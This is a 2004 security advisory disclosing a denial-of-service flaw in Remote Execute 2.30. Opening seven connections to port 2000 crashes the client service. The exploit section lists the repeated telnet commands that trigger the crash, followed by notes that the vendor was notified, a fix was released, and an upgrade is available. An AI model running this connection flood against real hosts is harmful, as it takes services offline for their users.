DoS leading to crash of client in Remote Execute 2.30
Pimp industries.
"Its all about the Bling, B&^@# and Fame!"
Dos in Client of Remote Execute v2.30 by IbexSoftware
(C) Paul Craig
Pimp Industries 2004
Background
-------------
Remote Execute 2.30 is vulnerable to an open connection attack, where
after seven connections are created to the client service it will crash
and refuse any further connections.
Exploit:
-------------
Really no need for PoC code here, the exploit is very simple.
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
...
Remote execute client is down and port 2000 is now closed....
Company Status:
-------------
IbexSoftware were contacted last week, the problem was reproduced and
today a fix was released by the company.
Pimp industries would like to thank Ibexsoftware for their quick turn
around on this patch release and for their support on full disclosure
matters.
Suggestions/Work Around:
-------------
Install v2.3.01 of Remote Execute, you can download this version from
http://www.ibexsoftware.com/downloadRemoteExecute.asp
Company status
---------------
Pimp Industries is a privately owned security research company. If you
would like to contact Pimp Industries to discuss any nature of business,
please email us at headpimp@xxxxxxxxxxxxxxxxxxxx
Big Hellos to
-------------
The boys at security-assessment.com, Thor, Viper and sozni.
Paul Craig
Head Pimp , Security Researcher
Pimp Industries
"Move fast, think faster"